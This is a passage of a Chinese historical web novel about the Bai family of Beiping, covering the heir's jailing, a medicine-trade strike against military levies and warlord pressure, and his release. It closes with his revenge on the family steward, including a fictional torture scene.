又拿准备好的石头,在身上磨,磨出像鞭子抽的印子。
他看了看觉得还有点假,朝着自己鼻子咣咣两拳,弄出鼻血漫得身上哪都是。
……
清早,二老太太刚吃完早饭,正琢磨孙子这两天怎么没见到人影呢。
外边槐花进来禀报,“老太太,大老爷、二老爷和七老爷来了。”
老太太一愣,知道这肯定是出事了,不然不会三人一起来。
“让他们进来”
“是”
三人走进屋内,二老太太看儿子眼睛里都是血丝,心里咯噔一下。
“槐花你下去吧,这不用你伺候。”
“是”
等槐花一出去,哥三直接跪在了地上。
“妈,家里出
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事了。”
二老太太面沉似水,轻声道,“都起来慢慢说,天塌不下来!”
白景琦把事情来龙去脉,还有白敬业交代的解决方法都讲了一遍。
二老太太听完,脸上的表情从最开始的着急,到缓和,最后竟然笑了出来。
“哈哈哈”
哥三你看看我、我看看你,不知道老太太在笑什么。
“哈哈哈,好啊,真好!”
“妈,您笑什么呢”白景琦不明白,还以为二老太太着急过头了。
二老太太摇摇头,“我在笑,你有个好儿子呦!”
“咱们白家后继有人!能再兴旺个百八十年的!”
“你们知道敬业这么做的用意是什么吗?”
哥三都摇了摇头。
“这孩子是在以身入局!为咱们白家在争话语权,这事过后,以后药行没人能动得了我们白家的地位!”
二老太太眼睛锃亮,仿佛又回到了和董大兴等人竞争的时候。
“**管呢?”
“在呢,老太太”
**管昨晚就知道,今天肯定要出大事,所以一早就在门口等候。
“**管,拿我的名帖,派人给北平大大小小药铺的东家都送过去。”
“就说下午一点,我老太太在老铺请他们喝茶!”
“是了您,我马上办!”
二老太太站起身来,看看自己的儿子和两个侄子。
中气十足的说道,“你们都给我打起精神来,白家过的坎儿多了,不差这一回。”
“老七,这件事里最好没你那个姨奶奶的影子。”
白景琦听着老太太的语气,冷汗都下来了,他知道老太太是起杀心了。
大宅门里弄死一两个姨奶奶太常见了。
“妈!九红她…她肯定不会。”
“呵呵”
二老太太冷笑几声,没在纠结。
“这一次,咱们白家只要还有一口气,就要和他们斗到底!”
北平监狱
白景泗无聊的翻看着画本,时不时的还看一眼钟。
正琢磨着人怎么还不到的时候。
“咚咚”
“厅长,监狱外边来了一群记者,说是要采访白少爷的案情。”
“啪”
白景泗把画本一合,“让他们都进来,领到我的办公室。”
第55章 暗流涌动
白景琦一说要辞职,好家伙,屋里算是炸锅了。
“七老爷!您可不能辞啊,这药行没了白家领头,让我们怎么办?”
“是啊七老爷,您可不能辞,有什么事咱们大伙儿商量着办啊。”
“七老爷,您多想想,我们坚决不同意。”
这比那七十万的军饷还吓人。
为什么?
因为白家在的时候,无论药行大事小情,都有白家顶着。
虽然白家占的资源最多,好药材全可着白家来,但人家付出的也是最多的。
就像这次没有白家顶着,七十万的军饷就得均摊。
谁觉得自己能当这领头的,就掏出一半的银子来。
于八爷拱手抱拳,“七老爷,咱先不提辞职的事。”
“我昨儿个听说,贵府大少爷被抓了,和军饷的事有没有关系?”
白景琦点了点头,“实不相瞒,大家伙儿,犬子敬业被警察厅给扣了,现在就关在北平监狱。”
“为什么呢?就是因为谈军饷的时候,他顶了关静山几句。”
他朝向众人一拱手,“诸位,这个领头人我实在没法当了。”
“关静山那孙子他勒索我们白家,管我们要二十万,我们白家实在是无力负担这个事儿了。”
众人一听都傻眼了,人家说的有理有据。
总不能让白家替你承担军饷,不救儿子啊。
议事厅里是鸦雀无声,大伙儿你瞧瞧我、我瞧瞧你,都没咒念了。
于八爷斟酌再三开口道,“七爷,这么些年白家做了多少,我们全看在眼里。”
“如今大少爷遭难,而且还是因为替咱们药行说话,那就是咱们药行集体的事。”
“咱不提辞职的事,大家伙儿一起想办法,只要你七爷有事开口,我于老八就跟着干!”
于八爷一生最为敬重白七爷。
觉得他是条汉子,能赤手空拳在济南打下一片天地,把白家的生意做到大江南北。
“八爷,我谢谢您。”
白景琦道了声谢,“既然大家还认我这个领头的,我就得帮大家想个法子。”
“七十万绝对不能答应!我要重新和执政府谈判,但谈判咱们手里就得有筹码。”
“如果大家认我,从明天开始北平所有的药铺,都给我关门歇业,一家也不能开张。”
“直到我们和执政府谈完,军饷至少要降下一半来。”
众人吸了口冷气都小声议论。
“关门,还有病人可怎么办。”
“唉,是啊”
“主要关张关到什么程度?执政府能答应么。”
这时二老太太起身站了起来。
众人见她有话说,都闭上嘴不敢议论。
“我呀,先谢谢各位给我老太太这个面子,能来听我说两句。”
老太太说完冲众人鞠躬致谢。
“使不得老太太”
“使不得”
众人吓得都站了起来。
“这老话说得好,民不与官斗,可谁让事情逼到这个份儿上了。”
“我虽然不出来走动但也听我们老七说了,大伙在之前已经掏了两笔银子。”
“一笔三十万,一笔将近四十万,如今连年还没过呢,开春的军饷又到了。”
二老太太用手比划着,“这回足足七十万啊!”
“我想问问大伙儿,这七十万交了,明年要是再打仗再出军饷,大家还能拿的出来么!”
众人面面相觑,谁愿意往外掏钱?
而且掏的都不是小数目,摊到小药铺身上,也得是几百两。
二老太太提高音量高声喊道,“咱们药行不能在这么下去!要跟他们斗!”
“大家伙儿,心里都有顾忌,你们白家是不是就为了救敬业?要是你们白家撤梯子怎么办?”
“我跟大伙儿做个保证。无论出现什么事,我们白家一家担了!”
“只要谈判的军饷降到大伙儿心里合适的数目,咱们立马开张。我老太太豁出去,孙子我不要了,让他们关着!”
老太太说完,于八爷起身看向众人。
“诸位,二老太太把话说到这份儿上,咱们还顾虑什么?我于八跟着干了!”
“执政府一天不松口,我禧年堂一天不开张。”
“我也干了!”
“干!”
有了带头的,其他人都跟着应声。
这些人的心态很简单,反正出了事有最大的顶着。
谈下来自己占便宜,谈不下来政府也不至于找自己麻烦。
于八爷冲老太太一拱手,“老太太,我看光咱们药行闹动静太小,前几天粮行的孙三爷还和我抱怨,他们征的军饷也不少。”
“我看这样,大伙儿也都别闲着,能说动谁就说动谁,咱们把这动静往大了整!”
“让政府知道,没有我们这些做生意的,他想执政也玩不转!”
“说的对于八爷,我去找油行”
“我和瑞蚨祥的
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孟四爷交情不错,我去跟他说。”
就这样,整个药行做下了决定,明天一早集体关门歇业。
在事情有结果前,一根甘草都不能从各家药铺流出去。
夜晚的北平静谧无声,看起风平浪静,实则底下暗流涌动。
印刷厂在加急印着第二天的报纸。
各行各业的东家、掌柜都在四处乱窜,商讨着歇业的事宜。
福聚德的堂头常贵也在和掌柜商量着。
“掌柜的,您说咱们明天也要跟着歇业?”
卢孟实叹了口气,“不歇不行啊,白大少爷被抓,咱们冲着谁也得表示表示。”
“更何况你别忘了,那天白少爷和谁拜了把子。”
他说着往上一指,“上边那位怎么可能看着他蹲大狱,咱们这时候做点人情。将来,白少爷肯定会照顾咱们的生意。”
“您说的是。”
……
“呜呜…呜!咣哧咣哧”
一列从奉天开到北平的列车,在凌晨四点多进了北平站。
车上下来了四人,正是**和黄立他们。
**在接站的地方找到了白家来的人。
黄立一看就皱起眉头,有点不高兴。
主家一个人都没来,只有几个仆人和丫鬟来接站。
**看出来他不高兴,忙问弟弟王武,“少爷呢?怎么没来啊。”
王武给大格格和黄立见礼道,“老夫人、舅老爷,您们别生气,不是我们少爷不来,是家里出事了。”
“我们少爷被警察抓了,太太也病倒了,现在家里一团糟,七老爷正忙活着呢。”
“什么?!”
**一听白敬业被抓,当时就急了,“少爷怎么被抓了,因为什么?”
“先上车吧,路上再说。”
黄立跟着上了头辆马车,听着王武把以往的经过都诉说一遍。
几人心里都跟着担忧,可黄立担忧的点有些和别人不一样。
他心里在想,自己这外甥还是太年轻。
**怎么杀的这么潦草,毁尸灭迹这点道理都不懂。
看来他身边还真没个明白人,等他出来我得好好教教他江湖上该怎么**。
马车赶到白家附近的时候,天已经亮了起来。
就听见早起的报童满街叫喊着。
“号外号外”
“著名作家白修合身陷囹圄!执政府官员栽赃陷害!”
一场由白敬业引起的北平**事件,正式拉开帷幕。
第56章 四方云动(1)
“号外号外!”
“作家白修合在监狱遭遇严刑拷打!誓称绝不与魔鬼妥协!”
“执政府官员关静山巧取豪夺、栽赃陷害!”
“北平警察厅朱厅长利用职权,伙同关静山陷害爱国学者!”
“……”
各家报纸的标题虽然不同,但矛头都不约而同的指向了执政府和关静山。
“哎呦!祥子快看,这白先生让人打的太惨了!”
躲在背风处的几个车夫,不知从哪寻摸来的报纸,也在议论着此事。
车夫祥子认识几个字,看完后皱着眉头啐了一口。
“呸!这帮黑皮都不是东西,就知道陷害好人。曹教授就是被他们害了,一群王八蛋。”
“唉~谁说不是呢。”
旁边的车夫小顺子接过话茬,“我一早出来,就在路边看见三倒窝。”
“这穷人的命不是命,谁承想白先生这有钱人也一样,得嘞,哥几个,我不行了得买俩窝头垫补垫补。”
“你还买窝头,呵呵”
一旁的车夫冷笑道,“你上哪买去?今早北平大大小小的店铺都关了张,说是要抗执政府乱派的军饷。”
“哥几个,今天喝西北风吧。”
“啊…!”
百花楼的珍姐姐也看到了报纸,看到白敬业的惨样心急如焚。
“杂**老大!你打听清楚没有,到底怎么回事?”
杂**老大龇牙咧嘴的说道,“珍姐,真没打听出来,就听说白少爷和那杨亦增的案子有关。”
“哦,对了”
杂**老大忽然想起来,“前两天有两个黑皮,问白少爷是不是来百花楼和杨亦增喝过酒,还问喝完后去了哪?你说和这个事有没有关系?”
珍姐姐眼睛一瞪,“你怎么说的?”
“我就说他俩喝完,白少爷送杨亦增回家啦。”
“啪!”
珍姐姐抡起巴掌给杂**老大来了一个脆的。
打的他捂着脸直叫,“哎呦,珍姐您打**什么?”
“我告诉你,要是因为你多嘴,白大爷有什么闪失,我挑了你的脚筋!”
而此时看到报纸最难受的,就是北平警察厅的朱厅长。
他看着报纸上的报道气得浑身颤抖。
朱厅长为什么要掺和这件事。
原因很简单,他初来乍到就想找个由头立立威。
白景泗经营北平警厅多年,冷不丁被挤到副手。
朱厅长怕他在中间起幺蛾子,他正寻摸不到借口立威呢。
关静山一找到他,他就立马同意了,当然也抱着发笔财的心态。
“这他妈谁写的,这不是毁人么!”
朱厅长把报纸撕的粉碎,破口大骂,“都说小白脸子没好心眼子!他白修合算什么文人!”
“整个一臭流氓!”
“他四大爷在监狱里看着,谁他妈敢打他啊?还他妈刺刀!我们警厅哪他妈来的刺刀!”
“呸!呸呸!臭流氓!”
“这不是欺负老实人么!”
他抄起桌上的电话,准备找关静山解决这件事。
“给我接军需处。”
“喂,给我找关静山,什么,不在?”
“**!”
朱厅长使劲扣上电话,想了一会儿还是决定找白景泗。
他的心里已经有点后悔了,他深知这件事要是闹大了,脑袋上的乌纱帽肯定不保。
能坐在这位置的又有几个脑袋不灵光的?
关静山现在干什么呢?
这孙子是一个头两个大,由于王喜光一直在七老爷身边,来不及给他报信。
等接到信的时候已经晚了。
他正安排着手下去往药行那几个大店铺,让他们立马开张。
关静山知道,这事儿一定不能闹大,只要解决药行,其他的都好说。
他亲自前往白家,准备威逼利诱一番。
禧年堂老号外
于八爷正安抚着前来买药的百姓。
“各位各位,不是我于某不开张,实在是这执政府逼的我没法开张。”
“我向各位保证,只要事情解决,于某一定给各位赔偿。”
“都起开,起开。”
人群后边一阵的骚乱,军需的二把手带人挤了进来。
“我说于八爷,您这是闹什么呢?赶紧开张,别耽误老百姓买药。”
“哼!”
于八爷冷哼一声,“对不起,我们禧年堂今天不营业,家里穷,赔本的买卖我于老八做不了。”
“啧,您看您”
二把手笑着威胁道,“八爷,您说您是冲谁啊?听我一句劝别掺和这里的事儿,赶紧开张,对抗执政府没好处。”
“呵呵”,于八爷冷笑道,“我于老八贱骨头!还非得掺和掺和。”
“我们平时愿意当政府的狗,你们说要多少就给多少。”
“可你们也不能连我们狗盆儿里这点玩意也抢啊。”
“今儿我还非叫这个劲!想让我开张可以,军饷重新谈。”
于八爷说着回身指向禧年堂的牌匾,“一天谈不下来,我这禧年堂就一天不开张!”
“你…”
相同的场景也发生在白家大宅门。
“白七爷!说吧,究竟怎么能让药行开张?”
白景琦放下茶杯不慌不忙的说道,“让我们开张可以。”
“我们药行愿意支持执政府
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,但七十万不行。”他摇了摇头,“三十万,只要执政府同意这个数,我们马上开张。”
“什么?三十万?”
关静山气得笑了出来,“白七爷,您可真敢想,三十万连门都没有。”
他打量着白景琦冷笑道,“别以为我不知道,你撺弄着**,不就是为了救你儿子么?”
“我告诉你白景琦,你不开张别想你儿子放出来!”
“喀嚓!”
白景琦一把将桌上的茶杯摔在地上。
“关静山,你甭拿我儿子吓唬我,我也告诉你,敬业的事不会影响药行的决定。”
白七爷的眼睛里似乎要喷出火来。
“不就是**么!我把儿子送给你毙去!”
“毙一个够不够!我们白家上下两百多口子,你看好谁都拉出去毙去!”
“我有钱,我有钱给我儿子买**,我有钱给我们全家人买**!我一个大子儿也不给你!”
关静山指着白景琦怒道,“你…你想好了!别怪我不给你机会!”
“呵呵”
白景琦冷笑道,“知不道、道不知,我给你俩小钱儿买屁吃!滚!”
“哼!”
关静山挨了顿骂,带手下人气冲冲的离开了白家。
站在一旁的王喜光此刻也麻爪了,他没想到事情能发展到这个结果。
这要是让白敬业出来,知道他在后边捅咕,不得给他打成筛子啊。
他身上的窟窿眼肯定比杨亦增多。
王喜光想了想,决定不行找机会跑吧。
他正胡思乱想的时候,小胡走了进来。
“七老爷,舅老爷到了,已经安顿好了,他正在外边等着你呢。”
“嗨!”
白景琦一摸脑门,忙的都晕头转向了,觉得怠慢了大舅哥,“快,快请进来”
等黄立一进来,白景琦愣住了。
“我…我怎么觉得你有点眼熟啊?”
黄立呵呵一笑,“仔细想想,在你们去济南的路上,仙客来客栈那一百二十两银子。”
白景琦恍然大悟,“黄庄小菜园你又给我原封不动的送回来了,我说你怎么不露面啊。”
“呵呵,闲话过后再聊,来的路上我都知道了,有什么需要我做的。”
白景琦想了想,直接开口道,“你这么说我也不跟你客气了,家里最近乱,你得帮我盯着点。”
“王总管!”
“哎,七老爷”
白景琦叫过王喜光,“这是我大舅子黄立,这几天你和他一起操持家里的事,千万别出乱子。”
“我知道了七老爷”
黄立笑眯眯一抱拳,“王总管你好,在下黄立!”
第58章 四方云动(3)
张六子接过报纸一看,气得破口大骂。
“他妈了个巴子!我张六子的兄弟他也敢动!去,马上给老夏打电话,问问他究竟怎么回事。”
“少帅我问过了。”
徐承业轻声道,“是关静山勒索药行军饷,修合先生顶了他几句,他怀恨在心才报复,目的是想要钱。”
“哼!”
张六子冷哼道,“**,我非砸碎了他。修合也是的,这么大的事怎么不直接找我呢。”
“呵呵”,徐承业笑了几声,“少帅您不用担心,刚才老夏跟我说,北平现在都乱成一锅粥了。”
“白家带着药行联合其他行业集体**,还有大批的学生,好几万**要求释放修合先生。”
“哦!”张六子听了很是惊讶。
“闹得这么大?还有这么多人替修合**?”
“是,我听老夏说,执政府那边已经开始问责关静山了,估计修合先生很快就能出来。”
张汉卿一边听着,一边在原地踱步,思考着这件事。
“不行,我得给修合加点筹码”
他说着抄起了电话,“我是张汉卿,接三军团郭军长。”
“老郭,听说了么,你现在就派人给我进北平,带着我的手令把修合接出来。”
“另外,你这么办…”
放下电话,张汉卿接着命令道,“你去让人给东北发报,让我爸那边加磅!”
“是,少帅”
奉天大帅府
“哈哈哈哈…”
东北王张疙瘩听着北平传回来的消息,笑得前仰后合。
他人虽在东北,但这颗心早就留在了北平。
所以时刻关注着北平的一举一动。
“他妈了个巴子的,这老段咋整的啊,三天两头的有人上街游他,哈哈哈,我早就看出来他不是那块料。”
“大帅英明”
杨宇霆在一旁不轻不重的拍了一记马屁,“大帅,京榆张总司令那也有信传来,让我们声援北平。”
“哦~”
张疙瘩一头雾水,“这事我们咋声援?”
杨宇霆拿出译好的电报放在桌上,“大帅请看,张总司令说,在事件中心的白修合是他的把兄弟。”
“而且,他已经下了命令,任命白修合为他的外事联络官,任中校军衔。”
“张总司令还命令张廷枢派两个团,已经向北平方向靠拢。”
张老疙瘩看着电文,笑了出来,“这倒是有点意思。”
他看向杨宇霆,“咱们早晚都要进北平,提前和这些商界大户打好关系,是很有必要的。”
“是,大帅”
张老疙瘩斟酌再三,命令道,“去给老段发报,告诉他,这白修合现在是我们奉军的人。”
“就算他犯了错,我们处置行,别人不能动他一根汗**!”
“老子就是要告诉他,我老张虽然人在东北,但他不能拿我老张当不识数!”
一时间四方云动,多个势力纷纷下场。
而在漩涡正中心的,爱国学者、著名作家、白大善人在干什么呢?
“哥俩好!点点六啊!”
“八匹马啊、五魁首!”
“喝!”
白大善人之间踩着凳子,左手掐着烟,正跟李队长和几个黑皮,划拳划得不亦乐乎。
“白…白少爷,真不行了,喝不下了。”
“啧,你瞅你,男人不能说不行,赶紧的别废话,喝完接着来,我陪你一个。”
白敬业端着酒杯,陪李队长喝了一杯。
他的杯子还没放下,牢房的门就打开了。
白景泗和朱厅长走了进来。
“嗝!”
李队长打了个酒嗝,手忙脚乱嗯敬礼道,“两位厅长好!”
朱厅长皱皱眉头一摆手。
李队长和手下几个兄弟离了歪斜的夺门而出。
“哈哈哈,修合先生在这待着还舒服么?”
白敬业没搭话,看向他身后的四大爷。
“敬业,这是我们朱厅长。”
“哦”
白敬业不冷不热的哦了一声,“原来是朱厅长,我得谢谢你啊,让我体验了一把囚犯的生活。”
“额,哈哈哈”朱厅长尴尬的笑笑,“修合先生开玩笑啦,我们也是办案所需。”
“现在已经查明,您和案子没什么关系,可以回家了。”
“呵呵”白敬业冷笑了几声,端起杯酒,“朱厅长,我觉得这挺好,还是再待两天。”
“万一过后谁又把案子翻出来,白某说不清了,四大爷您说对不对?”
白景泗点点头,“是,我们白家人什么都做,可就不做违法乱纪的事,朱厅长您还是安排人再好好查查。”
他说着坐到白敬业对面,俩人喝了起来。
“你…”
朱厅长无奈的又挤出笑脸,“白少爷,您不看僧面,也得看看段总长的面子,现在外边乱哄哄的,咱们各退一步吧。”
“退一步?”
白敬业干了杯里的酒,重重的顿在桌子上,“我凭什么退一步?”
“从我太爷爷白萌堂那起,我们白家就没有退一步这一说!”
“关静山这孙子骑我头上拉屎,还他妈要找我借纸!”
“朱厅长,我不为难你,什么时候关静山这孙子跪在我面前,我什
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么时候出去!”
朱厅长被顶的哑口无言,指着白敬业,“你…你”
他你了半天也没说出句完整的话,最后一摔门走出牢房。
傍晚
执政府外被围的水泄不通。
守在大门前的士兵一步不敢动,生怕这些**的人冲进来。
段老虎站在窗前唉声叹气,他算是被这事折磨坏了。
“药行那边谈的怎么样了?”
“还在谈,药行的条件有些苛刻,要降到三十万,而且一年只能收一次军饷。”
段祺瑞听到这个条件皱皱眉,继续问道,“那个白修合呢?放出来了么。”
“额…”秘书的表情有些尴尬。
“怎么了?”
“总长,他说什么时候关静山跪在他面前,他什么时候出去。”
“放肆!他一个小小的作家,不过是家里有两个钱,他有什么资格……”
段老虎正骂的时候,外边进来一名官员打断了他。
“总长!奉系京榆司令部派人来了。”
“他们来干什么?”
“他们指责我们执政府无故扣押张少帅的外事副官白修合,是挑拨奉皖关系,说让我们交出关静山,这是张少帅的手令。”
官员将手令递给了段老虎。
段老虎看着手令,冷笑着嘲讽了一句,“**都没长齐的东西,还来威胁起我来了,我在北洋的时候,他爹还……”
“报!总长,三军团下面的两个团正向北平靠拢。”
段老虎听着军兵的报告,脸色愈发的阴沉。
没过两分钟,又进来一名军兵。
“报告!奉军总司令张作霖给您致电,电报上说让您立刻放了奉军的白修合。”
“我去**!张小个子!拿老子当什么了!”
段老虎还没发泄完。
军兵又说道,“总长,还有…”
“还有什么!**不会一口气说完么!”
“总长,大先生也派人来了,问我们为什么纵容关静山陷害爱国学者白修合。”
段老虎心如死灰的坐在椅子上,一股无力感油然而生。
他清楚,这些人不是冲着白修合来的,那只是个引子,他们针对的是自己。
“去,放了白修合,换人重新跟药行谈,马上把事情解决。”
“那…关静山呢?”
段老虎看了眼秘书,摆了摆手没说话。
朱传武带着一队骑兵,在北平的街上纵马奔驰。
“你们去一队,到百草厅把那个姓关的逮起来。”
“其他人跟我去接修合先生!”
今天9.3,祝伟大的祖国繁荣昌盛!
第59章 出狱
当朱传武见到白敬业的那一刻彻底懵逼。
他不可置信的揉了揉眼睛,确定自己没看错。
朱传武也看到了报纸,他的想象中白敬业应该凄惨的躺在牢房里。
可这嘴上喊着天门拿牌的孙子是谁啊!
白敬业只顾着手里这把牌。
“呼”
冲着手里的牌九猛吹了一口气,嘴里还念念叨叨的。
“穷鬼杀恶鬼,咱们天亮砍**贼。”
“丁三配二四!至尊宝,通杀!”
“哈哈哈!给钱给钱!”
陪着他玩的几个黑皮,都唉声叹气的。
“白爷,您这点子也太兴了。”
“是啊,还让不让我们活了。”
“嘿,怎么着输不起啊?我跟你们说…”
他正说着眼角余光看见一旁傻愣愣的朱传武,“我说你怎么来了?”
朱传武这才回过神,给白敬业敬礼道,“修合先生,少帅很担心您,特意让我来接您。”
“并且任命您为京榆司令部办事处外事联络官一职,任中校军衔”
他说着将张汉卿的手令交给了白敬业。
“呼”
白敬业眯着眼睛吐出口烟,仔细看着上边的任命,心想,“哥们也算是一只脚踏入军界了。”
外事联络官虽然没啥实权,但好歹能组建自己的卫队。
这时代你想有自己的队伍。
要么投靠一方军阀、要么组建地方保安团之类的。
无名无份的叫什么?
那是匪!
况且白敬业已经想好,可以借由保护药厂为名成立护厂队。
如今再加上这个名分,他可以正大光明的招人训练队伍。
“外边现在是什么情况?”白敬业轻声问道。
“我来的时候执政府已经另选人在和药行谈判,估计今晚会有结果。”
朱传武说着笑了笑,“还有关静山,我已经派人给他逮了起来,少帅说任凭修合先生处置。”
白敬业点了点头,看向桌上的几个黑皮兄弟,“弟兄们,我得出去了,这点玩意你们分了吧。”
他说着把手边的银元、大子儿往前一推。
“哎呦,谢谢白少爷”
“谢谢少爷”
白敬业转身开始把身上干净的衣服都脱下来。
捡起之前那身破烂套在身上,又弄了把草往头上一撒。
朱传武都看傻了,磕磕巴巴道,“先…先生您这是?”
白敬业白了他一眼,“演戏吗!就得演全套!外边那么多人看着呢。”
都弄好后,起身往监狱大门走去,走的时候还一瘸一拐的。
此时,监狱门口的人乌央乌央的,大部分都是学生。
都在翘着脚往里看,等待着白敬业出来。
白敬业一瘸一拐的走了出来。
“修合学长出来了!”
“哪呢?”
“在那!修合学长!”
白敬业看着这群年轻而又充满朝气的脸,突然间鼻头有些发酸。
他没想到这些学生会自发的上街**,替他讨公道。
在白敬业原本的计划里,他也没想过去利用这些学生做什么。
可是当他们第一时间知道消息后,还是义无反顾的走向街头。
天已经黑了下来,监狱门前昏暗的灯光,洒在人群中。
就好像绝望之中诞生出的一丝希望,渺小而又坚挺。
白敬业红着眼圈,冲着人群鞠了个躬。
“谢谢,谢谢大家!”
领头的那个男同学握住白敬业的手,情真意切道,“修合学长您受苦了”。
“快给修合学长穿上,这天多冷啊。”
有几个同学见白敬业身上破破烂烂的,脱下自己的大衣披在他的身上。
白敬业看着学生们冻得通红的脸,再也控制不住,眼泪顺着眼角流了下来。
“谢谢你们、谢谢大家。”
“修合学长您放心,这次我们一定替你讨个公道,各个学校已经写了联名信,要让执政府严查此事。”
白敬业点点头,笑道,“我认识你,你是叫李唯一。”
李唯一憨憨的笑笑,“没想到学长还记得我。”
“学长,他叫赵岗,是燕大一年级的新生代表,这次燕大的同学就是他组织的。”
李唯一说着拉过了赵岗。
“学长您好,我叫赵岗。”
白敬业跟他握了一下,“谢谢你赵同学。”
“所有同学,我白某人谢谢你们。”
“看见你们这一张张充满了朝气的脸,我觉得让那些魔鬼们再抽我几鞭子也值了!”
“哈哈哈”人群中一阵欢笑。
“只要你们保持着这股子朝气,这些魔鬼们就会恐惧!”
“让他们知道!正义是永远杀不完的,真理必将永远存在!”
“华夏有你们就有希望!华夏有你们必然会再次崛起!”
“让我们为华夏之崛起而共同奋斗!”
学生们
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听到白敬业的话语,再一次受到了感动。
觉得眼前这个男人,即使受了严刑拷打,身板依旧是那么挺拔。
就好像一道光降临在这浑浊的世间。
“为华夏之崛起而奋斗!”
“为华夏之崛起而奋斗!”
赵岗和李唯一带着这些学生们振臂高呼!
声浪仿佛要惊醒这沉睡的世间。
白敬业昂首挺胸,在这一声声呼喊中走出了人群。
……
在马车里白敬业换好了朱传武带来的那套军装。
“嘿嘿,少爷您穿这身真威风!”
“哈哈,威风吧,等明个儿少爷也给你弄一套,前面停车。”
小胡一愣,“咱们不回家么?”
“呵呵”
白敬业冷笑了一声,“让**先回家报个信,就说我出来了,我得去会会关静山!”
“报仇要是隔了夜,我今晚觉都睡不好!”
……
关静山此刻都快吓尿了,他还不清楚发生了什么。
他和白七爷正扯皮谈判呢,外边就冲进来一队军兵。
给他蒙上眼睛架起来就走。
“放我出去!我是执政府的官员!”
“放我出去!你们是哪的兵,我要到执政府告你们!”
“嘎吱!”
关静山正一顿狼嚎的时候,就听见铁门被拉开了。
等他眼罩一摘,面前站着一个身穿中校军服的年轻人,笑眯眯的看着他。
“怎么…怎么是你!你怎么穿着…”
不是白敬业那还有谁啊。
白敬业笑笑,“关处长咱们又见面了。”
“重新认识一下,我是奉军三军团外事联络官,白敬业。”
“奉…奉军?”
关静山怔住了,而后又咬牙道,“你是奉军也不能抓我,我是执政府的人。”
“呵呵”,白敬业呵呵一笑,“都特么这时候了,还咬牙挺着呢?传武!给他念念。”
“是!”
朱传武打开文件夹,“现已查明,皖系关静山无故扣押奉军军官白敬业,涉嫌挑拨奉皖关系,并且在任期间引起北平各界动荡。”
“执政府现交关静山于奉军办事处处理,段总长亲笔。”
关静山越听脸色越变得惨白,两股之间热流涌过。
尿了!
评论对赵刚年龄意见那么大,我就改成他哥哥吧,赵刚这人物很重要,后期一二九运动是有剧情的,所以必须得加上。
第61章 喜光跌倒,敬业吃饱
“啊!!”
王喜光的哀嚎声在后院里回响。
众人都被黄立这一手给惊到了。
都知道他身上有功夫,没想到这么厉害。
剥人皮就好像吃饭喝酒那么简单。
“王喜光你要不想说,咱就这么耗着,正好我也几年没施展这门手艺了,拿你练练手!”
黄立轻飘飘的语气,彻底摧毁王喜光的心理防线。
“别!我说,我说还不成么!呜呜呜…”
“大…少爷,我求…您给我个痛快的。”
白敬业点点头,“可以,你把你那三个姨太太住哪,钱都放什么地方,一五一十讲清楚,我送你上路。”
“唉!”
王喜光长叹了一声,不知道是后悔贪这么多钱,还是后悔冲白敬业下手。
他把藏钱的地点都交代清楚。
“增致,**,李贵,你们上前院叫人,分三队给我把东西都拉回来。”
“是,少爷”
白敬业又看了眼面如死灰的王喜光,“给他弄点吃的,等他吃完了再送他上路,别在家里动手。”
王武和李福领命上前给王喜光放了下来。
都处理好了,白敬业这才冲黄立一笑,“舅,咱爷俩今晚得好好喝点,您哪学的这么好的功夫。”
“哈哈哈,雕虫小技这算什么”黄立说着将名刀枣泥还给白敬业。
“您拿着吧,这东西放我手里也糟蹋了。”
黄立摇了摇头,“我的路子用不上,我学的是大刀,这**还是留给你防身吧。”
“成,等将来我给您弄把趁手的。”
二人边走边说,回屋准备好好叙叙家常。
今晚的北平是鸡飞狗跳,黑皮警察忙着抓人。
盘踞在南城多年的黑帮三合帮,被一网打尽,光抓人就抓了能有一百多号。
抓起来没有废话,什么审问这那的。
领头的十几个,彪爷、赵五之流当天夜里就被毙了。
而白家这三路人马也忙的不可开交。
王喜光这么些年在白家贪的
再加上年轻时候接常公公的班,任了御药房的总管,那可是攒下了不少好玩意。
宝石首饰、各种金银足足弄走两大箱子。
还有各种古玩字画,有些东西不次于故宫里面的。
……
白敬业此时跟黄立也聊起了过往。
这一聊,白敬业才知道他这舅舅年轻时候还真不简单。
他二次被卖了以后,遇见沧州著名的武林高手双刀李凤刚。
李师父看他是块练武的好苗子,就给他救了下来传授刀法。
黄立出徒以后,就开始在江湖上行走,顺便打听自己母亲和妹妹的下落。
中间还参加过大刀王五的黑旗军起义,闹得动静不小。
白敬业听着故事,心里也挺痒痒,他给黄立斟了杯酒。
“舅,你说我现在练武还来得及么?”
黄立皱着眉头想了想,“你是得练一练,不说别的得有个好身体啊。”
“我看你走路脚步轻浮,一看就是娇生惯养,再加上酒色伤了身体。”
“嗨!”
白敬业打着哈哈,“外甥不是年轻不懂事么。”
“你想练啊,就得从马步练起来,扎马步还有个好处,能固肾补气,什么时候身体养好了,再练别的功夫。”
二人正聊着呢,白景琦推门走了进来。
“哈哈,爷俩儿喝着呢。”
“呦,爸贝您那边谈完了?看您这高兴劲儿谈的不错啊。”
白景琦点点头,“是挺好,军饷谈到了30万,而且执政府保证每年只收这一次军饷。”
“其他几个行业也差不多是这样。”
白景琦一指外边,“我说你这外边都弄什么呢,一箱一箱的。”
他正说着,张增致走了进来。
“少爷,七老爷,舅老爷,王喜光那些赃物都查清了。”
“什么脏物?”
白景琦一头雾水,他这一天都在老铺,还不知道王喜光办的那些事。
白敬业拍拍他笑道,“走吧爸贝,带您开开眼!”
三人来到箱子前,白敬业打开一口,借着火把的亮光一看,里面金光闪闪的,全是各种金银首饰。
张增致手中拿着整理好的明细,“少爷这是清单您过目。”
“念给咱们七老爷听听。”
张增致清了清嗓子,“从王喜光家搜出,银票总计四十万、现洋两万五千块、大黄鱼二十条、小黄鱼五十五条,御制二十两银稞子五十对。”
“还有首饰、珠宝、古玩字画共计两大箱。”
白敬业拿起一个祖母绿的扳指,戴在手上把玩着,“爸贝,这里边起码有四分之三,是王大总管从我们家贪的。”
“真…真的假的!”
白景琦有些不敢相信,一个总管能贪这么多的钱。
“呵呵,把家里的账房、管事的都叫过来。”白敬业吩咐道。
“是,少爷”
等这些人都到了,七嘴八舌这么一说,白景琦气的咬牙跺脚。
“七老爷,修海淀花园子他至少贪了三四倍的银子,根本花不了那么多钱”
“还有他拿着我们的工钱故意晚发,出去放印子钱。”
“有一回我在外边遇见他的外宅,他还把我打了一顿,威胁我要是说出去,就弄死我全家
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。”
“大家背后都管他叫活阎王、煽驴!”
白景琦气的直哼哼,“你们怎么不跟我说呢!”
账房满脸委屈的说道,“七老爷,我几次让您查查账,您都说没时间,我就是想让您看他贪了多少银子。”
